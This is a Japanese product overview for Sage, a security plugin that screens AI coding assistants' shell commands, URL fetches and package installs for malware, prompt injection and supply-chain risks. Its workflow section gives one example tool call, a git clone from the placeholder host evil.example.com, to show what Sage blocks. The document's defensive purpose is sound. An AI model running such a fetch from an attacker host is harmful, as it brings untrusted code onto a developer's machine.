gendigitalinc/sage

Lightweight Agent Detection & Response (ADR) layer for AI agents — guards commands, files, and web requests. Part of Gen Agent Trust Hub.

Sage – AIコーディングアシスタントのセキュリティ層

何であるか – Sageは、AI駆動のコーディングアシスタント(Claude Code、Cursor、VS Code、OpenClaw、OpenCodeなど)とホストシステムの間に配置される軽量なセキュリティプラグインです。アシスタントがツールコール(シェルコマンド、URLの取得、ファイルの書き込み、パッケージのインストールなど)を実行しようとするたびに、Sageはリクエストをインターセプトし、一連の脅威チェックを実行し、安全と判断された場合にのみアクションを許可します。

なぜ重要か – 大規模言語モデル(LLM)ベースのコーディングツールは、悪意のあるコマンドの実行や有害なペイロードの取得(プロンプトインジェクション攻撃、サプライチェーンの改ざんなど)を誘発される可能性があります。Sageは、基盤となるAIモデルを変更せずに、開発者のマシンを保護する防御的な「ファイアウォール」を追加します。


コア機能

機能 機能の内容
URLレピュテーション クラウドサービスに問い合わせ、ダウンロード前に既知のマルウェア、フィッシング、詐欺リンクを検出します。
ローカルヒューリスティクス 300以上のYAML定義されたパターンで、危険なシェルコマンド、不審なURL、資格情報の漏洩、コードのオブスカレーションを検出します。
プロンプトインジェクション検出 2段階のガード – 速やかなヒューリスティックルールと、微調整された機械学習モデル – で、取得したコンテンツ内のインジェクションされた指示を検出します。
パッケージサプライチェーンチェック npm / PyPIパッケージを照会し、存在確認、レピュテーションと年齢評価を行い、タイポスキャッティングや放棄されたライブラリを検出します。
プラグインスキャン 各AIアシスタントセッションの開始時に、インストール済みのプラグインを既知の脅威に対してスキャンします。
AMSI統合 Windows(およびWSL)では、SageがコマンドをAntimalware Scan Interfaceに転送し、OSのリアルタイムスキャナがマルウェアをブロックできるようにします。

インストール方法

  1. オンラインインストールガイドを読む – https://ai.gendigital.com/sage(手順が最新に保たれます)。
  2. 使用するAIアシスタントを選択し、READMEに表示される短いコマンドに従います:
    • Claude Code – リポジトリをプラグインとして追加し、sage@sageをインストール。
    • Cursor – Cursorマーケットプレイスから Gen Sage 拡張機能をインストール。
    • VS Code – VS Codeマーケットプレイスから Gen Sage 拡張機能をインストール。
    • OpenClaw – openclaw plugins install @gendigital/sage-openclaw。
    • OpenCode – opencode.json構成ファイルに @gendigital/sage-opencode を追加。
  3. インストール後、Sageは自動的に実行され、判断結果をディスク上のJSONL監査ファイルにログ記録します。

一般的なワークフロー

  1. 開発者がAIアシスタントにプロンプトを入力。
  2. アシスタントがツールコールを生成(例:git clone https://evil.example.com/repo.git)。
  3. Sageがコールをインターセプトし、以下を実行:
    • クラウドレピュテーションサービスでURLをチェック。
    • ローカルYAMLヒューリスティクスを実行。
    • (必要に応じて)コンテンツをプロンプトインジェクションMLモデルに供給。
    • サプライチェーンチェックで関連パッケージを照会。
    • WindowsではAMSIを介してコマンドを送信。
  4. いずれかのチェックで脅威が検出された場合、Sageはアクションをブロックしイベントを記録;それ以外はコマンドの実行を許可。

使用すべき人

  • LLMベースのコードアシスタントに依存し、誤ってマルウェアが実行されるのを避けたい開発者。
  • 複数のAI IDE拡張機能で動作する即時対応型の保護を求めるセキュリティチーム。
  • コード生成を自動化し、生成されたスクリプトが実行される前にポリシーを強制したいオペス / DevOps。

拡張性と貢献

  • 脅威パターンは threats/ ディレクトリにシンプルなYAMLファイルとして存在 – コントリビューターはプルリクエストで新しいルールを追加可能。
  • リポジトリには開発者ガイドが含まれており、アーキテクチャ、テストハーネス、およびプロンプトインジェクションMLモデルのトレーニングや更新方法が記述されています。
  • すべてのコードはApache-2.0;ルールセットには独自の Detection Rule License 1.1 が適用されます。

結論 – Sageは、クラウドレピュテーション、ローカルヒューリスティクス、MLベースのプロンプトインジェクション検出、OSレベルスキャンを組み合わせることで、AIコーディングアシスタントが生成する悪意のあるツールコールを検出する、焦点を絞ったクロスアシスタントセキュリティ層を提供します。

関連

  • プロジェクト
  • プロジェクト
  • プロジェクト
  • プロジェクト